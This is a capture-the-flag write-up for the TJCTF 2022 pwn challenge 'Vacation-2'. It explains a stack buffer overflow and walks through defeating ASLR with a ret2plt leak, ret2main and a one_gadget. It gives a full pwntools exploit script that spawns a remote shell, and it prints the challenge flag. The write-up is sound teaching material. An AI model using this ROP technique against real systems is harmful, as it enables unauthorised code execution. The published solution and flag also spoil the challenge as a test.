woman in front of its computer with the Insomniak Logo

TJCTF 2022 Vacation-2

Top News05/20/2022

By Aldric Berthet-Bondet

In this challenge, we simply have to exploit a buffer overflow to read the flag on the remote server.

Details
 

  • Category : pwn
  • Points : 233
  • Solves : 88

Description
 

Travel agency said we can’t go there anymore… nc tjc.tf 31705

Understanding the problem

Usually, when trying to solve pwn challenges, finding the vulnerability is the first problem to deal with. Having only the binary, this can be done using a disassembler (IDA, ghidra etc.). This step is not mandatory here as the author gave us the source code (C). Our goal is now to read it, find a vulnerability and exploit it to get a shell. Let’s do it !

Solving the problem

The provided source code is as follows :

#include <stdio.h>
#include <stdlib.h>

void vacation() {
  char buf[16];
  puts("Where am I going today?");
  fgets(buf, 64, stdin);
}

void main() {
  setbuf(stdout, NULL);
  vacation();
  puts("hmm... that doesn't sound very interesting...");
}

A static 16 bytes buffer buf is declared. Then, fgets function is called on stdin to insert user input in buf. Unfortunately the size specified as the second argument of fgets function is way larger than the buf size. This lead to a buffer overflow vulnerability.

Checking the protections applied on the binary with pwntools checksec utility, we noticed only NX was activated

checksec chall
[*] '/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Immediately, we thought of using the famous ret2libc technique. Sounds great at first sight, but there is still a problem to handle : ASLR. As we assume the fact that ASLR is up on the remote server, ret2libc can no longer work. Finally, only ROPchain can help.

As a reminder, we want our programm to execute a shell. In other words, execute a libc function which take the string “/bin/sh” as an argument (system or execve).

At this point, we first have to find a leak to deafeat ASLR (which randomize stack, heap and libraries addresses). But another problem comes up… Our program is so basic that there is no leak. Fortunately, there is a known technique that do not need a leak to work : ret2plt + ret2main + one gadget.

This technique can be broken down as follows :

  • ret2plt using puts to leak a libc address (which base is random due to ASLR)
  • ret2main to re execute our program without reloading ASLR
  • one gadget

Implementing the solution

The solution will be implemented as a script using pwntools python library. Let’s first find the offset required to overwrite RBP by disassembling vacation function in gdb

gdb-peda$ disass vacation
Dump of assembler code for function vacation:
   0x0000000000401176 <+0>: endbr64 
   0x000000000040117a <+4>: push   rbp
   0x000000000040117b <+5>: mov    rbp,rsp
   0x000000000040117e <+8>: sub    rsp,0x10 #16 bytes are allocated on the stack
   0x0000000000401182 <+12>:  lea    rdi,[rip+0xe7f]        # 0x402008
   0x0000000000401189 <+19>:  call   0x401060 <puts@plt>
   0x000000000040118e <+24>:  mov    rdx,QWORD PTR [rip+0x2ebb]        # 0x404050 <stdin@@GLIBC_2.2.5>
   0x0000000000401195 <+31>:  lea    rax,[rbp-0x10]
   0x0000000000401199 <+35>:  mov    esi,0x40
   0x000000000040119e <+40>:  mov    rdi,rax
   0x00000000004011a1 <+43>:  call   0x401080 <fgets@plt>
   0x00000000004011a6 <+48>:  nop
   0x00000000004011a7 <+49>:  leave  
   0x00000000004011a8 <+50>:  ret    
End of assembler dump.

As 16 bytes are allocated on the stack, sending 24 (16+8) bytes will overwrite RBP. Let’s verify it :

gdb-peda$ run
Starting program: chall 
Where am I going today?
AAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffdfb0 ('A' <repeats 24 times>, "\n")
RBX: 0x4011e0 (<__libc_csu_init>: endbr64)
RCX: 0x4052b9 --> 0x0 
RDX: 0x0 
RSI: 0x4052a1 ('A' <repeats 23 times>, "\n")
RDI: 0x7ffff7fab7f0 --> 0x0 
RBP: 0x4141414141414141 ('AAAAAAAA') -> #RBP is overwrited
RSP: 0x7fffffffdfd0 --> 0x0 
RIP: 0x40000a --> 0x2000000000000 
R8 : 0x7fffffffdfb0 ('A' <repeats 24 times>, "\n")
R9 : 0x7c ('|')
R10: 0x7ffff7fa9be0 --> 0x4056a0 --> 0x0 
R11: 0x246 
R12: 0x401090 (<_start>:  endbr64)
R13: 0x7fffffffe0c0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)

We also need a gadget to pass arg to puts function.

ROPgadget --binary chall | grep "pop rdi"
0x0000000000401243 : pop rdi ; ret

So far, the script (still under construction) look like this :

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from pwn import *

#init
elf = context.binary = ELF('./chall')
libc = elf.libc
p = remote('tjc.tf',31705)

#find a gadget in binary to pass args tu puts function
pop_rdi_ret = 0x401243

#ropchain
#offset size can be found with gdb
payload = b'a'*24
payload += p64(pop_rdi_ret)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(elf.sym['main'])

p.recvuntil(b'?\n')
p.sendline(payload)

#get address sent by puts
puts_leak = u64(p.recv(6).ljust(8,b'\x00'))
print(hex(puts_leak))

p.interactive()
p.close()

Executing it both locally and remotely, we noticed that puts_leak address always terminates with the 3 same bytes -> 2 libc are the same. We can look for puts offset directly on our PC.

puts function offset in libc is calculated by subtracting puts address with libc base address ( both found with gdb)

gdb-peda$ info proc mappings
process 5986
Mapped address spaces:
      [...]
      0x7ffff7dbd000     0x7ffff7ddf000    0x22000        0x0 /usr/lib/x86_64-linux-gnu/libc-2.31.so
      0x7ffff7ddf000     0x7ffff7f57000   0x178000    0x22000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
      0x7ffff7f57000     0x7ffff7fa5000    0x4e000   0x19a000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
      0x7ffff7fa5000     0x7ffff7fa9000     0x4000   0x1e7000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
      0x7ffff7fa9000     0x7ffff7fab000     0x2000   0x1eb000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
      0x7ffff7fab000     0x7ffff7fb1000     0x6000        0x0 
      0x7ffff7fc9000     0x7ffff7fcd000     0x4000        0x0 [vvar]
      0x7ffff7fcd000     0x7ffff7fcf000     0x2000        0x0 [vdso]
      0x7ffff7fcf000     0x7ffff7fd0000     0x1000        0x0 /usr/lib/x86_64-linux-gnu/ld-2.31.so
      0x7ffff7fd0000     0x7ffff7ff3000    0x23000     0x1000 /usr/lib/x86_64-linux-gnu/ld-2.31.so
      0x7ffff7ff3000     0x7ffff7ffb000     0x8000    0x24000 /usr/lib/x86_64-linux-gnu/ld-2.31.so
      0x7ffff7ffc000     0x7ffff7ffd000     0x1000    0x2c000 /usr/lib/x86_64-linux-gnu/ld-2.31.so
      0x7ffff7ffd000     0x7ffff7ffe000     0x1000    0x2d000 /usr/lib/x86_64-linux-gnu/ld-2.31.so
      0x7ffff7ffe000     0x7ffff7fff000     0x1000        0x0 
      0x7ffffffde000     0x7ffffffff000    0x21000        0x0 [stack]
  0xffffffffff600000 0xffffffffff601000     0x1000        0x0 [vsyscall]


gdb-peda$ print puts
$5 = {int (const char *)} 0x7ffff7e41450 <__GI__IO_puts>

gdb-peda$ print(0x7ffff7e41450-0x7ffff7dbd000)
$6 = 0x84450

Last but not least, we have to find our one gadget.

one_gadget /usr/lib/x86_64-linux-gnu/libc-2.31.so
0xe3b2e execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe3b31 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe3b34 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

The script can now be completed.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from pwn import *

#init
elf = context.binary = ELF('./chall')
libc = elf.libc
p = remote('tjc.tf',31705)

#find a gadget in binary to pass args tu puts function
pop_rdi_ret = 0x401243

#ropchain
#offset size can be found with gdb
payload = b'a'*24
payload += p64(pop_rdi_ret)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(elf.sym['main'])

p.recvuntil(b'?\n')
p.sendline(payload)

#get address sent by puts
puts_leak = u64(p.recv(6).ljust(8,b'\x00'))

#0x84450 offset is calculated by subtracting puts_leak with libc_base_address (mandatory because it
#has to be recalculate each time we run the exploit to defeat ASLR)
libc_base_addr = puts_leak - 0x84450

# After returning to main
payload = b'a'*24
payload += p64(libc_base_addr + 0xe3b31) #-> one gadget address

# sending payload
p.recvuntil(b'?\n')
p.sendline(payload)
p.interactive()
p.close()

Executed it and our shell spawned.

./solve.py
[...]
[*] Switching to interactive mode
$ ls
flag.txt
run
$ cat flag.txt
tjctf{w3_g0_wher3_w3_w4nt_t0!_66f7020620e343ff}
[*] Got EOF while reading in interactive
$ 
[*] Interrupted
[*] Closed connection to tjc.tf port 31705

Flag : tjctf{w3_g0_wher3_w3_w4nt_t0!_66f7020620e343ff}

Our News